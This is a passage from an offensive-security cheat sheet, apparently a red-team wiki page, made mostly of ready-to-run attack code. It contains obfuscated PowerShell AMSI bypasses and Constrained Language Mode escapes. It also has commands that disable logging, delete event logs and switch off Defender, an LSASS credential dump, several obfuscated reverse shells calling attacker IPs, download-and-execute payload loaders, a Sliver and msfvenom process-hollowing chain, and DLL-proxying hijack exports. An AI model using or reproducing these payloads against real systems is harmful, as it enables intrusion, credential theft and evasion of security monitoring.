$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
